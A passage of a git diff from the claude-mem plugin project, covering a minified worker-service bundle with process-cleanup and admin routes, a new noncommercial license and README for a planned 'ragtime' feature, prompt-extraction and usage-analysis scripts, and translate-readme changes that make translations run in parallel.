n=["CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT","CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT","CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY","CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE"];for(let a of n)if(r[a]&&!["true","false"].includes(r[a]))return{valid:!1,error:`${a} must be "true" or "false"`};if(r.CLAUDE_MEM_CONTEXT_FULL_COUNT){let a=parseInt(r.CLAUDE_MEM_CONTEXT_FULL_COUNT,10);if(isNaN(a)||a<0||a>20)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_FULL_COUNT must be between 0 and 20"}}if(r.CLAUDE_MEM_CONTEXT_SESSION_COUNT){let a=parseInt(r.CLAUDE_MEM_CONTEXT_SESSION_COUNT,10);if(isNaN(a)||a<1||a>50)return{valid:!1,error:"CLAUDE_MEM_CONTEXT_SESSION_COUNT must be between 1 and 50"}}return r.CLAUDE_MEM_CONTEXT_FULL_FIELD&&!["narrative","facts"].includes(r.CLAUDE_MEM_CONTEXT_FULL_FIELD)?{valid:!1,error:'CLAUDE_MEM_CONTEXT_FULL_FIELD must be "narrative" or "facts"'}:{valid:!0}}isMcpEnabled(){let r=nr(),n=Un.default.join(r,"plugin",".mcp.json");return(0,zt.existsSync)(n)}toggleMcp(r){let n=nr(),a=Un.default.join(n,"plugin",".mcp.json"),s=Un.default.join(n,"plugin",".mcp.json.disabled");r&&(0,zt.existsSync)(s)?((0,zt.renameSync)(s,a),U.info("WORKER","MCP search server enabled")):!r&&(0,zt.existsSync)(a)?((0,zt.renameSync)(a,s),U.info("WORKER","MCP search server disabled")):U.debug("WORKER","MCP toggle no-op (already in desired state)",{enabled:r})}ensureSettingsFile(r){if(!(0,zt.existsSync)(r)){let n=ct.getAllDefaults(),a=Un.default.dirname(r);(0,zt.existsSync)(a)||(0,zt.mkdirSync)(a,{recursive:!0}),(0,zt.writeFileSync)(r,JSON.stringify(n,null,2),"utf-8"),U.info("SETTINGS","Created settings file with defaults",{settingsPath:r})}}};var Lo=(0,m$.promisify)(Bl.exec),Hl=class{app;server=null;startTime=Date.now();mcpClient;mcpReady=!1;initializationCompleteFlag=!1;dbManager;sessionManager;sseBroadcaster;sdkAgent;paginationHelper;settingsManager;sessionEventBroadcaster;viewerRoutes;sessionRoutes;dataRoutes;searchRoutes;settingsRoutes;initializationComplete;resolveInitialization;constructor(){this.app=(0,f$.default)(),this.initializationComplete=new Promise(e=>{this.resolveInitialization=e}),this.dbManager=new ju,this.sessionManager=new Du(this.dbManager),this.sseBroadcaster=new qu,this.sdkAgent=new xl(this.dbManager,this.sessionManager),this.paginationHelper=new wl(this.dbManager),this.settingsManager=new Sl(this.dbManager),this.sessionEventBroadcaster=new Rl(this.sseBroadcaster,this),this.sessionManager.setOnSessionDeleted(()=>{this.broadcastProcessingStatus()}),this.mcpClient=new As({name:"worker-search-proxy",version:"1.0.0"},{capabilities:{}}),this.viewerRoutes=new Ol(this.sseBroadcaster,this.dbManager,this.sessionManager),this.sessionRoutes=new Al(this.sessionManager,this.dbManager,this.sdkAgent,this.sessionEventBroadcaster,this),this.dataRoutes=new Nl(this.paginationHelper,this.dbManager,this.sessionManager,this.sseBroadcaster,this,this.startTime),this.searchRoutes=null,this.settingsRoutes=new Ul(this.settingsManager),this.setupMiddleware(),this.setupRoutes()}setupMiddleware(){Yk(this.summarizeRequestBody.bind(this)).forEach(r=>this.app.use(r))}setupRoutes(){let e="TEST-008-wrapper-ipc";this.app.get("/api/health",(r,n)=>{n.status(200).json({status:"ok",build:e,managed:process.env.CLAUDE_MEM_MANAGED==="true",hasIpc:typeof process.send=="function",platform:process.platform,pid:process.pid,initialized:this.initializationCompleteFlag,mcpReady:this.mcpReady})}),this.app.get("/api/readiness",(r,n)=>{this.initializationCompleteFlag?n.status(200).json({status:"ready",mcpReady:this.mcpReady}):n.status(503).json({status:"initializing",message:"Worker is still initializing, please retry"})}),this.app.get("/api/version",(r,n)=>{let{homedir:a}=require("os"),{readFileSync:s}=require("fs"),i=pi.default.join(a(),".claude","plugins","marketplaces","thedotmack"),o=pi.default.join(i,"package.json"),c=JSON.parse(s(o,"utf-8"));n.status(200).json({version:c.version})}),this.app.get("/api/instructions",async(r,n)=>{let a=r.query.topic||"all",s=r.query.operation;try{let i;if(s){let o=pi.default.join(__dirname,"../skills/mem-search/operations",`${s}.md`);i=await Qm.promises.readFile(o,"utf-8")}else{let o=pi.default.join(__dirname,"../skills/mem-search/SKILL.md"),c=await Qm.promises.readFile(o,"utf-8");i=this.extractInstructionSection(c,a)}n.json({content:[{type:"text",text:i}]})}catch(i){U.error("WORKER","Failed to load instructions",{topic:a,operation:s},i),n.status(500).json({content:[{type:"text",text:`Error loading instructions: ${i instanceof Error?i.message:"Unknown error"}`}],isError:!0})}}),this.app.post("/api/admin/restart",Zm,async(r,n)=>{n.json({status:"restarting"}),process.platform==="win32"&&process.env.CLAUDE_MEM_MANAGED==="true"&&process.send?(U.info("SYSTEM","Sending restart request to wrapper"),process.send({type:"restart"})):setTimeout(async()=>{await this.shutdown(),process.exit(0)},100)}),this.app.post("/api/admin/shutdown",Zm,async(r,n)=>{n.json({status:"shutting_down"}),process.platform==="win32"&&process.env.CLAUDE_MEM_MANAGED==="true"&&process.send?(U.info("SYSTEM","Sending shutdown request to wrapper"),process.send({type:"shutdown"})):setTimeout(async()=>{await this.shutdown(),process.exit(0)},100)}),this.viewerRoutes.setupRoutes(this.app),this.sessionRoutes.setupRoutes(this.app),this.dataRoutes.setupRoutes(this.app),this.settingsRoutes.setupRoutes(this.app),this.app.get("/api/context/inject",async(r,n,a)=>{try{let i=new Promise((f,m)=>setTimeout(()=>m(new Error("Initialization timeout")),3e4));if(await Promise.race([this.initializationComplete,i]),!this.searchRoutes){n.status(503).json({error:"Search routes not initialized"});return}let o=r.query.project,c=r.query.colors==="true";if(!o){n.status(400).json({error:"Project parameter is required"});return}let{generateContext:u}=await Promise.resolve().then(()=>(Ll(),ql)),l=`/context/${o}`,d=await u({session_id:"context-inject-"+Date.now(),cwd:l},c);n.setHeader("Content-Type","text/plain; charset=utf-8"),n.send(d)}catch(s){U.error("WORKER","Context inject handler failed",{},s),n.status(500).json({error:s instanceof Error?s.message:"Internal server error"})}})}async cleanupOrphanedProcesses(){let e=process.platform==="win32",r=[];if(e){let n=`powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.Name -like '*python*' -and $_.CommandLine -like '*chroma-mcp*' } | Select-Object -ExpandProperty ProcessId"`,{stdout:a}=await Lo(n,{timeout:5e3});if(!a.trim()){U.debug("SYSTEM","No orphaned chroma-mcp processes found (Windows)");return}let s=a.trim().split(` +`);for(let i of s){let o=parseInt(i.trim(),10);!isNaN(o)&&Number.isInteger(o)&&o>0&&r.push(o)}}else{let{stdout:n}=await Lo('ps aux | grep "chroma-mcp" | grep -v grep || true');if(!n.trim()){U.debug("SYSTEM","No orphaned chroma-mcp processes found (Unix)");return}let a=n.trim().split(` +`);for(let s of a){let i=s.trim().split(/\s+/);if(i.length>1){let o=parseInt(i[1],10);!isNaN(o)&&Number.isInteger(o)&&o>0&&r.push(o)}}}if(r.length!==0){if(U.info("SYSTEM","Cleaning up orphaned chroma-mcp processes",{platform:e?"Windows":"Unix",count:r.length,pids:r}),e)for(let n of r){if(!Number.isInteger(n)||n<=0){U.warn("SYSTEM","Skipping invalid PID",{pid:n});continue}(0,Bl.execSync)(`taskkill /PID ${n} /T /F`,{timeout:5e3,stdio:"ignore"})}else await Lo(`kill ${r.join(" ")}`);U.info("SYSTEM","Orphaned processes cleaned up",{count:r.length})}}async start(){let e=qs(),r=YE();this.server=await new Promise((n,a)=>{let s=this.app.listen(e,r,()=>n(s));s.on("error",a)}),U.info("SYSTEM","Worker started",{host:r,port:e,pid:process.pid}),this.initializeBackground().catch(n=>{U.error("SYSTEM","Background initialization failed",{},n)})}async initializeBackground(){try{await this.cleanupOrphanedProcesses();let{ModeManager:e}=await Promise.resolve().then(()=>(La(),s1)),{SettingsDefaultsManager:r}=await Promise.resolve().then(()=>(Dr(),LE)),{USER_SETTINGS_PATH:n}=await Promise.resolve().then(()=>(dr(),KE)),s=r.loadFromFile(n).CLAUDE_MEM_MODE;e.getInstance().loadMode(s),U.info("SYSTEM",`Mode loaded: ${s}`),await this.dbManager.initialize();let i=new kl,o=new $l,c=new Tl(this.dbManager.getSessionSearch(),this.dbManager.getSessionStore(),this.dbManager.getChromaSync(),i,o);this.searchRoutes=new Fl(c),this.searchRoutes.setupRoutes(this.app),U.info("WORKER","SearchManager initialized and search routes registered");let u=pi.default.join(__dirname,"mcp-server.cjs"),l=new Ms({command:"node",args:[u],env:process.env}),d=15e3,f=this.mcpClient.connect(l),m=new Promise((g,b)=>setTimeout(()=>b(new Error("MCP connection timeout after 15s")),d));await Promise.race([f,m]),this.mcpReady=!0,U.success("WORKER","Connected to MCP server"),this.initializationCompleteFlag=!0,this.resolveInitialization(),U.info("SYSTEM","Background initialization complete")}catch(e){throw U.error("SYSTEM","Background initialization failed",{},e),e}}extractInstructionSection(e,r){let n={workflow:this.extractBetween(e,"## The Workflow","## Search Parameters"),search_params:this.extractBetween(e,"## Search Parameters","## Examples"),examples:this.extractBetween(e,"## Examples","## Why This Workflow"),all:e};return n[r]||n.all}extractBetween(e,r,n){let a=e.indexOf(r),s=e.indexOf(n);return a===-1?e:s===-1?e.substring(a):e.substring(a,s).trim()}async shutdown(){U.info("SYSTEM","Shutdown initiated");let e=await this.getChildProcesses(process.pid);if(U.info("SYSTEM","Found child processes",{count:e.length,pids:e}),this.server&&(this.server.closeAllConnections(),await new Promise((r,n)=>{this.server.close(a=>a?n(a):r())}),this.server=null,U.info("SYSTEM","HTTP server closed")),await this.sessionManager.shutdownAll(),this.mcpClient&&(await this.mcpClient.close(),U.info("SYSTEM","MCP client closed")),await this.dbManager.close(),e.length>0){U.info("SYSTEM","Force killing remaining children");for(let r of e)await this.forceKillProcess(r);await this.waitForProcessesExit(e,5e3)}U.info("SYSTEM","Worker shutdown complete")}async getChildProcesses(e){if(process.platform!=="win32")return[];if(!Number.isInteger(e)||e<=0)return U.warn("SYSTEM","Invalid parent PID for child process enumeration",{parentPid:e}),[];let r=`powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq ${e} } | Select-Object -ExpandProperty ProcessId"`,{stdout:n}=await Lo(r,{timeout:5e3});return n.trim().split(` +`).map(a=>parseInt(a.trim(),10)).filter(a=>!isNaN(a)&&Number.isInteger(a)&&a>0)}async forceKillProcess(e){if(!Number.isInteger(e)||e<=0){U.warn("SYSTEM","Invalid PID for force kill",{pid:e});return}process.platform==="win32"?(await Lo(`taskkill /PID ${e} /T /F`,{timeout:5e3}),U.info("SYSTEM","Killed process",{pid:e})):process.kill(e,"SIGKILL")}async waitForProcessesExit(e,r){let n=Date.now();for(;Date.now()-n(process.kill(s,0),!0));if(a.length===0){U.info("SYSTEM","All child processes exited");return}U.debug("SYSTEM","Waiting for processes to exit",{stillAlive:a}),await new Promise(s=>setTimeout(s,100))}U.warn("SYSTEM","Timeout waiting for child processes to exit")}summarizeRequestBody(e,r,n){return Qk(e,r,n)}broadcastProcessingStatus(){let e=this.sessionManager.isAnySessionProcessing(),r=this.sessionManager.getTotalActiveWork(),n=this.sessionManager.getActiveSessionCount();U.info("WORKER","Broadcasting processing status",{isProcessing:e,queueDepth:r,activeSessions:n}),this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:e,queueDepth:r})}};if(require.main===module||!module.parent){let t=new Hl;process.on("SIGTERM",async()=>{U.info("SYSTEM","Received SIGTERM, shutting down gracefully"),await t.shutdown(),process.exit(0)}),process.on("SIGINT",async()=>{U.info("SYSTEM","Received SIGINT, shutting down gracefully"),await t.shutdown(),process.exit(0)}),t.start().catch(e=>{U.failure("SYSTEM","Worker failed to start",{},e),process.exit(1)})}0&&(module.exports={WorkerService}); /*! Bundled license information: depd/index.js: diff --git a/plugin/skills/mem-search.zip b/plugin/skills/mem-search.zip index 7bae7935c4d88046548df1c2a0f8a615d767b4a4..4fc7bef42bd785357910b549111bc760f58ffd86 100644 GIT binary patch delta 145 zcmeBaV(MvPn(&l)`7)1c zV!+ayb@XOJq)wO=LKrsI-VjEY<6$$^g43@ delta 145 zcmeBaV(MvPn(&nQlfV1M7dtpX^ybA}25ex)H32<#5M%O(P|?jY5-kwX#d7K#VCl1J zF<|My?Aeu~L7w~{ZZe%t>L}Cgz G@B;u|7&%P< diff --git a/ragtime/LICENSE b/ragtime/LICENSE new file mode 100644 index 00000000..0792f156 --- /dev/null +++ b/ragtime/LICENSE @@ -0,0 +1,137 @@ +# PolyForm Noncommercial License 1.0.0 + + + +## Acceptance + +In order to get any license under these terms, you must agree +to them as both strict obligations and conditions to all +your licenses. + +## Copyright License + +The licensor grants you a copyright license for the +software to do everything you might do with the software +that would otherwise infringe the licensor's copyright +in it for any permitted purpose. However, you may +only distribute the software according to [Distribution +License](#distribution-license) and make changes or new works +based on the software according to [Changes and New Works +License](#changes-and-new-works-license). + +## Distribution License + +The licensor grants you an additional copyright license +to distribute copies of the software. Your license +to distribute covers distributing the software with +changes and new works permitted by [Changes and New Works +License](#changes-and-new-works-license). + +## Notices + +You must ensure that anyone who gets a copy of any part of +the software from you also gets a copy of these terms or the +URL for them above, as well as copies of any plain-text lines +beginning with `Required Notice:` that the licensor provided +with the software. For example: + +> Required Notice: Copyright Alex Newman (https://github.com/thedotmack) + +## Changes and New Works License + +The licensor grants you an additional copyright license to +make changes and new works based on the software for any +permitted purpose. + +## Patent License + +The licensor grants you a patent license for the software that +covers patent claims the licensor can license, or becomes able +to license, that you would infringe by using the software. + +## Noncommercial Purposes + +Any noncommercial purpose is a permitted purpose. + +## Personal Uses + +Personal use for research, experiment, and testing for +the benefit of public knowledge, personal study, private +entertainment, hobby projects, amateur pursuits, or religious +observance, without any anticipated commercial application, +is use for a permitted purpose. + +## Noncommercial Organizations + +Use by any charitable organization, educational institution, +public research organization, public safety or health +organization, environmental protection organization, +or government institution is use for a permitted purpose +regardless of the source of funding or obligations resulting +from the funding. + +## Fair Use + +You may have "fair use" rights for the software under the +law. These terms do not limit them. + +## No Other Rights + +These terms do not allow you to sublicense or transfer any of +your licenses to anyone else, or prevent the licensor from +granting licenses to anyone else. These terms do not imply +any other licenses. + +## Patent Defense + +If you make any written claim that the software infringes or +contributes to infringement of any patent, your patent license +for the software granted under these terms ends immediately. If +your company makes such a claim, your patent license ends +immediately for work on behalf of your company. + +## Violations + +The first time you are notified in writing that you have +violated any of these terms, or done anything with the software +not covered by your licenses, your licenses can nonetheless +continue if you come into full compliance with these terms, +and take practical steps to correct past violations, within +32 days of receiving notice. Otherwise, all your licenses +end immediately. + +## No Liability + +***As far as the law allows, the software comes as is, without +any warranty or condition, and the licensor will not be liable +to you for any damages arising out of these terms or the use +or nature of the software, under any kind of legal claim.*** + +## Definitions + +The **licensor** is the individual or entity offering these +terms, and the **software** is the software the licensor makes +available under these terms. + +**You** refers to the individual or entity agreeing to these +terms. + +**Your company** is any legal entity, sole proprietorship, +or other kind of organization that you work for, plus all +organizations that have control over, are under the control of, +or are under common control with that organization. **Control** +means ownership of substantially all the assets of an entity, +or the power to direct its management and policies by vote, +contract, or otherwise. Control can be direct or indirect. + +**Your licenses** are all the licenses granted to you for the +software under these terms. + +**Use** means anything you do with the software requiring one +of your licenses. + +--- + +Required Notice: Copyright 2025 Alex Newman (https://github.com/thedotmack) + +For commercial licensing inquiries, contact: thedotmack@gmail.com diff --git a/ragtime/README.md b/ragtime/README.md new file mode 100644 index 00000000..896eb6fc --- /dev/null +++ b/ragtime/README.md @@ -0,0 +1,36 @@ +# Ragtime + +> **Status**: Not yet implemented + +Ragtime is a planned feature for claude-mem that will enable advanced timeline analysis and automated workflow orchestration. + +## Why It's Not Ready Yet + +Ragtime requires a fully functional **modes system** to work properly. The modes system (implemented in PR #412) provides: + +- Mode inheritance and configuration loading +- Type-safe observation metadata +- Dynamic prompt injection based on workflow context +- Language-specific behavior + +Now that the modes system is complete, Ragtime can be fully scripted out in a future release. + +## License + +This directory is licensed under the **PolyForm Noncommercial License 1.0.0**. + +See [LICENSE](./LICENSE) for full terms. + +### What this means: + +- ✅ You can use ragtime for noncommercial purposes +- ✅ You can modify and distribute it +- ❌ You cannot use it for commercial purposes without permission + +### Why a different license? + +The main claude-mem repository is licensed under AGPL 3.0, but ragtime uses the more restrictive PolyForm Noncommercial license to ensure it remains freely available for personal and educational use while preventing commercial exploitation. + +--- + +For questions about commercial licensing, please contact the project maintainer. diff --git a/scripts/analyze-usage.js b/scripts/analyze-usage.js deleted file mode 100755 index 29e9085b..00000000 --- a/scripts/analyze-usage.js +++ /dev/null @@ -1,134 +0,0 @@ -#!/usr/bin/env node -/** - * Analyze usage logs from ~/.claude-mem/usage-logs/ - * - * Usage: - * node scripts/analyze-usage.js [date] - * - * Example: - * node scripts/analyze-usage.js 2025-11-03 - * node scripts/analyze-usage.js # Uses today's date - */ - -import { readFileSync, readdirSync } from 'fs'; -import { join } from 'path'; -import { homedir } from 'os'; - -const usageDir = join(homedir(), '.claude-mem', 'usage-logs'); - -// Get date from command line or use today -const targetDate = process.argv[2] || new Date().toISOString().split('T')[0]; -const filename = `usage-${targetDate}.jsonl`; -const filepath = join(usageDir, filename); - -console.log(`\n📊 Usage Analysis for ${targetDate}\n`); -console.log(`Reading from: ${filepath}\n`); - -try { - const content = readFileSync(filepath, 'utf-8'); - const lines = content.trim().split('\n'); - - let totalCost = 0; - let totalInputTokens = 0; - let totalOutputTokens = 0; - let totalCacheCreation = 0; - let totalCacheRead = 0; - const projectStats = {}; - const modelStats = {}; - - lines.forEach(line => { - if (!line.trim()) return; - - try { - const entry = JSON.parse(line); - - // Aggregate totals - totalCost += entry.totalCostUsd || 0; - totalInputTokens += entry.usage?.inputTokens || 0; - totalOutputTokens += entry.usage?.outputTokens || 0; - totalCacheCreation += entry.usage?.cacheCreationInputTokens || 0; - totalCacheRead += entry.usage?.cacheReadInputTokens || 0; - - // Project stats - if (!projectStats[entry.project]) { - projectStats[entry.project] = { - cost: 0, - sessions: new Set(), - tokens: 0 - }; - } - projectStats[entry.project].cost += entry.totalCostUsd || 0; - projectStats[entry.project].sessions.add(entry.sessionDbId); - projectStats[entry.project].tokens += (entry.usage?.inputTokens || 0) + (entry.usage?.outputTokens || 0); - - // Model stats - if (!modelStats[entry.model]) { - modelStats[entry.model] = { - cost: 0, - calls: 0, - tokens: 0 - }; - } - modelStats[entry.model].cost += entry.totalCostUsd || 0; - modelStats[entry.model].calls += 1; - modelStats[entry.model].tokens += (entry.usage?.inputTokens || 0) + (entry.usage?.outputTokens || 0); - - } catch (e) { - console.error(`Error parsing line: ${e.message}`); - } - }); - - // Print summary - console.log('═══════════════════════════════════════════════════════════\n'); - console.log(`📈 Total Cost: $${totalCost.toFixed(4)}`); - console.log(`📊 Total API Calls: ${lines.length}`); - console.log(`\n🎯 Token Usage:`); - console.log(` Input Tokens: ${totalInputTokens.toLocaleString()}`); - console.log(` Output Tokens: ${totalOutputTokens.toLocaleString()}`); - console.log(` Cache Creation Tokens: ${totalCacheCreation.toLocaleString()}`); - console.log(` Cache Read Tokens: ${totalCacheRead.toLocaleString()}`); - console.log(` Total Tokens: ${(totalInputTokens + totalOutputTokens).toLocaleString()}`); - - if (totalCacheRead > 0) { - const savings = ((totalCacheRead / (totalInputTokens + totalCacheRead)) * 100).toFixed(1); - console.log(` Cache Hit Rate: ${savings}%`); - } - - console.log(`\n📁 By Project:`); - Object.entries(projectStats) - .sort((a, b) => b[1].cost - a[1].cost) - .forEach(([project, stats]) => { - console.log(` ${project}:`); - console.log(` Cost: $${stats.cost.toFixed(4)}`); - console.log(` Sessions: ${stats.sessions.size}`); - console.log(` Tokens: ${stats.tokens.toLocaleString()}`); - }); - - console.log(`\n🤖 By Model:`); - Object.entries(modelStats) - .sort((a, b) => b[1].cost - a[1].cost) - .forEach(([model, stats]) => { - console.log(` ${model}:`); - console.log(` Cost: $${stats.cost.toFixed(4)}`); - console.log(` Calls: ${stats.calls}`); - console.log(` Tokens: ${stats.tokens.toLocaleString()}`); - console.log(` Avg Cost/Call: $${(stats.cost / stats.calls).toFixed(4)}`); - }); - - console.log('\n═══════════════════════════════════════════════════════════\n'); - -} catch (error) { - if (error.code === 'ENOENT') { - console.error(`❌ No usage log found for ${targetDate}`); - console.log(`\nAvailable logs:`); - try { - const files = readdirSync(usageDir).filter(f => f.endsWith('.jsonl')); - files.forEach(f => console.log(` - ${f}`)); - } catch (e) { - console.error(` Could not read usage logs directory`); - } - } else { - console.error(`❌ Error: ${error.message}`); - } - process.exit(1); -} diff --git a/scripts/extract-prompts-to-yaml.cjs b/scripts/extract-prompts-to-yaml.cjs new file mode 100644 index 00000000..f7383372 --- /dev/null +++ b/scripts/extract-prompts-to-yaml.cjs @@ -0,0 +1,178 @@ +#!/usr/bin/env node +/** + * Extract prompt sections from src/sdk/prompts.ts and generate modes/code.yaml + * This ensures the YAML contains the exact same wording as the hardcoded prompts + */ + +const fs = require('fs'); +const path = require('path'); + +// Read the prompts.ts from main branch (saved to /tmp) +const promptsPath = '/tmp/prompts-main.ts'; +const promptsContent = fs.readFileSync(promptsPath, 'utf-8'); + +// Extract buildInitPrompt function content +const initPromptMatch = promptsContent.match(/export function buildInitPrompt\([^)]+\): string \{[\s\S]*?return `([\s\S]*?)`;\s*\}/); +if (!initPromptMatch) { + console.error('Could not find buildInitPrompt function'); + process.exit(1); +} +const initPrompt = initPromptMatch[1]; + +// Extract sections from buildInitPrompt +// Line 41: observer_role starts with "Your job is to monitor..." +const observerRoleMatch = initPrompt.match(/Your job is to monitor[^\n]*\n\n(?:SPATIAL AWARENESS:[\s\S]*?\n\n)?/); +const observerRole = observerRoleMatch ? observerRoleMatch[0].replace(/\n\n$/, '') : ''; + +// Extract recording_focus (WHAT TO RECORD section) +const recordingFocusMatch = initPrompt.match(/WHAT TO RECORD\n-{14}\n([\s\S]*?)(?=\n\nWHEN TO SKIP)/); +const recordingFocus = recordingFocusMatch ? `WHAT TO RECORD\n--------------\n${recordingFocusMatch[1]}` : ''; + +// Extract skip_guidance (WHEN TO SKIP section) +const skipGuidanceMatch = initPrompt.match(/WHEN TO SKIP\n-{12}\n([\s\S]*?)(?=\n\nOUTPUT FORMAT)/); +const skipGuidance = skipGuidanceMatch ? `WHEN TO SKIP\n------------\n${skipGuidanceMatch[1]}` : ''; + +// Extract type_guidance (from XML comment) +const typeGuidanceMatch = initPrompt.match(//); +const typeGuidance = typeGuidanceMatch ? typeGuidanceMatch[0].replace(//, '').trim() : ''; + +// Extract field_guidance (facts AND files comments combined) +const factsMatch = initPrompt.match(/\*\*facts\*\*: Concise[^\n]*\n([\s\S]*?)(?=\n -->)/); +const filesMatch = initPrompt.match(/\*\*files\*\*:[^\n]*\n/); + +const factsText = factsMatch ? `**facts**: Concise, self-contained statements\n${factsMatch[1].trim()}` : ''; +const filesText = filesMatch ? filesMatch[0].trim() : '**files**: All files touched (full paths from project root)'; + +const fieldGuidance = `${factsText}\n\n${filesText}`; + +// Extract concept_guidance (concepts comment) +const conceptGuidanceMatch = initPrompt.match(//); +const conceptGuidance = conceptGuidanceMatch ? conceptGuidanceMatch[0].replace(//, '').trim() : ''; + +// Build the JSON content +const jsonData = { + name: "Code Development", + description: "Software development and engineering work", + version: "1.0.0", + observation_types: [ + { id: "bugfix", label: "Bug Fix", description: "Something was broken, now fixed", emoji: "🔴", work_emoji: "🛠️" }, + { id: "feature", label: "Feature", description: "New capability or functionality added", emoji: "🟣", work_emoji: "🛠️" }, + { id: "refactor", label: "Refactor", description: "Code restructured, behavior unchanged", emoji: "🔄", work_emoji: "🛠️" }, + { id: "change", label: "Change", description: "Generic modification (docs, config, misc)", emoji: "✅", work_emoji: "🛠️" }, + { id: "discovery", label: "Discovery", description: "Learning about existing system", emoji: "🔵", work_emoji: "🔍" }, + { id: "decision", label: "Decision", description: "Architectural/design choice with rationale", emoji: "⚖️", work_emoji: "⚖️" } + ], + observation_concepts: [ + { id: "how-it-works", label: "How It Works", description: "Understanding mechanisms" }, + { id: "why-it-exists", label: "Why It Exists", description: "Purpose or rationale" }, + { id: "what-changed", label: "What Changed", description: "Modifications made" }, + { id: "problem-solution", label: "Problem-Solution", description: "Issues and their fixes" }, + { id: "gotcha", label: "Gotcha", description: "Traps or edge cases" }, + { id: "pattern", label: "Pattern", description: "Reusable approach" }, + { id: "trade-off", label: "Trade-Off", description: "Pros/cons of a decision" } + ], + prompts: { + observer_role: observerRole, + recording_focus: recordingFocus, + skip_guidance: skipGuidance, + type_guidance: typeGuidance, + concept_guidance: conceptGuidance, + field_guidance: fieldGuidance, + format_examples: "" + } +}; + +// OLD YAML BUILD: +const yamlContent_OLD = `name: "Code Development" +description: "Software development and engineering work" +version: "1.0.0" + +observation_types: + - id: "bugfix" + label: "Bug Fix" + description: "Something was broken, now fixed" + emoji: "🔴" + work_emoji: "🛠️" + - id: "feature" + label: "Feature" + description: "New capability or functionality added" + emoji: "🟣" + work_emoji: "🛠️" + - id: "refactor" + label: "Refactor" + description: "Code restructured, behavior unchanged" + emoji: "🔄" + work_emoji: "🛠️" + - id: "change" + label: "Change" + description: "Generic modification (docs, config, misc)" + emoji: "✅" + work_emoji: "🛠️" + - id: "discovery" + label: "Discovery" + description: "Learning about existing system" + emoji: "🔵" + work_emoji: "🔍" + - id: "decision" + label: "Decision" + description: "Architectural/design choice with rationale" + emoji: "⚖️" + work_emoji: "⚖️" + +observation_concepts: + - id: "how-it-works" + label: "How It Works" + description: "Understanding mechanisms" + - id: "why-it-exists" + label: "Why It Exists" + description: "Purpose or rationale" + - id: "what-changed" + label: "What Changed" + description: "Modifications made" + - id: "problem-solution" + label: "Problem-Solution" + description: "Issues and their fixes" + - id: "gotcha" + label: "Gotcha" + description: "Traps or edge cases" + - id: "pattern" + label: "Pattern" + description: "Reusable approach" + - id: "trade-off" + label: "Trade-Off" + description: "Pros/cons of a decision" + +prompts: + observer_role: | + ${observerRole} + + recording_focus: | + ${recordingFocus} + + skip_guidance: | + ${skipGuidance} + + type_guidance: | + ${typeGuidance} + + concept_guidance: | + ${conceptGuidance} + + field_guidance: | + ${fieldGuidance} + + format_examples: "" +`; + +// Write to modes/code.json +const outputPath = path.join(__dirname, '../modes/code.json'); +fs.writeFileSync(outputPath, JSON.stringify(jsonData, null, 2), 'utf-8'); + +console.log('✅ Generated modes/code.json from prompts.ts'); +console.log('\nExtracted sections:'); +console.log('- observer_role:', observerRole.substring(0, 50) + '...'); +console.log('- recording_focus:', recordingFocus.substring(0, 50) + '...'); +console.log('- skip_guidance:', skipGuidance.substring(0, 50) + '...'); +console.log('- type_guidance:', typeGuidance.substring(0, 50) + '...'); +console.log('- concept_guidance:', conceptGuidance.substring(0, 50) + '...'); +console.log('- field_guidance:', fieldGuidance.substring(0, 50) + '...'); diff --git a/scripts/translate-readme/cli.ts b/scripts/translate-readme/cli.ts index b92e7c3a..d61befc4 100644 --- a/scripts/translate-readme/cli.ts +++ b/scripts/translate-readme/cli.ts @@ -12,7 +12,6 @@ interface CliArgs { maxBudget?: number; verbose: boolean; force: boolean; - parallel: number; help: boolean; listLanguages: boolean; } @@ -42,12 +41,11 @@ OPTIONS: --max-budget Maximum budget in USD -v, --verbose Show detailed progress -f, --force Force re-translation ignoring cache - --parallel Run n translations concurrently (default: 1) -h, --help Show this help message --list-languages List all supported language codes EXAMPLES: - # Translate to Spanish and French + # Translate to Spanish and French (runs in parallel automatically) translate-readme README.md es fr # Translate to multiple languages with custom output @@ -56,6 +54,10 @@ EXAMPLES: # Use in npm scripts # package.json: "translate": "translate-readme README.md es fr de" +PERFORMANCE: + All translations run in parallel automatically (up to 10 concurrent). + Cache prevents re-translating unchanged files. + SUPPORTED LANGUAGES: Run with --list-languages to see all supported language codes `); @@ -123,7 +125,6 @@ function parseArgs(argv: string[]): CliArgs { preserveCode: true, verbose: false, force: false, - parallel: 1, help: false, listLanguages: false, }; @@ -168,13 +169,6 @@ function parseArgs(argv: string[]): CliArgs { case "--max-budget": args.maxBudget = parseFloat(argv[++i]); break; - case "--parallel": - args.parallel = parseInt(argv[++i], 10); - if (isNaN(args.parallel) || args.parallel < 1) { - console.error("Error: --parallel must be a positive integer"); - process.exit(1); - } - break; default: if (arg.startsWith("-")) { console.error(`Unknown option: ${arg}`); @@ -239,7 +233,6 @@ async function main(): Promise { maxBudgetUsd: args.maxBudget, verbose: args.verbose, force: args.force, - parallel: args.parallel, }); // Exit with error code if any translations failed diff --git a/scripts/translate-readme/index.ts b/scripts/translate-readme/index.ts index a4ebf85f..79dd5b71 100644 --- a/scripts/translate-readme/index.ts +++ b/scripts/translate-readme/index.ts @@ -49,8 +49,6 @@ export interface TranslationOptions { verbose?: boolean; /** Force re-translation even if cached */ force?: boolean; - /** Number of concurrent translations (default: 1) */ - parallel?: number; } export interface TranslationResult { @@ -258,9 +256,11 @@ export async function translateReadme( maxBudgetUsd, verbose = false, force = false, - parallel = 1, } = options; + // Run all translations in parallel (up to 10 concurrent) + const parallel = Math.min(languages.length, 10); + // Read source file const sourcePath = path.resolve(source); const content = await fs.readFile(sourcePath, "utf-8"); @@ -282,9 +282,7 @@ export async function translateReadme( console.log(`📖 Source: ${sourcePath}`); console.log(`📂 Output: ${outDir}`); console.log(`🌍 Languages: ${languages.join(", ")}`); - if (parallel > 1) { - console.log(`⚡ Parallel: ${parallel} concurrent translations`); - } + console.log(`⚡ Running ${parallel} translations in parallel`); 